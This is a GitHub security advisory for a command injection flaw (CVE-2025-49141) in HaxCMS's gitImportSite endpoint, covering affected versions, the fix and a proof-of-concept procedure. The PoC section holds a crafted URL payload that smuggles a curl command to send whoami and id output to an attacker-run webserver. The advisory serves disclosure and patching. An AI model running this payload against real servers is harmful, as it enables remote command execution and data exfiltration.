GitHub Advisoryadvisory · npm
GHSA-g4cf-pp4x-hqgw HaxCMS-PHP Command Injection Vulnerability
HIGH
Official page ↗
- Aliases
- CVE-2025-49141
- Ecosystem
- npm
- Packages
- @haxtheweb/haxcms-nodejs
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2025-06-09
Affected packages
• npm @haxtheweb/haxcms-nodejs: < 11.0.3 → fixed in 11.0.3
Description
Summary
The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.
Details
The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
Affected Resources
• Operations.php:2103 gitImportSite()
• \/\/system/api/gitImportSite
PoC
To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').
1. Start a webserver.
2. Initiate a request to the ’archiveSite’ endpoint.
3. Capture and modify the request in BurpSuite.
4. Observe command output in the HTTP request from the server.
Command Injection Payload
```Bash
http:///.git;curl${IFS}/$(whoami)/$(id)#=abcdef
```
Impact
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.
Related
Alias · CVE (1)
- CVE-2025-49141 HAX CMS PHP allows users to manage their microsite universe with a PHP backend. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness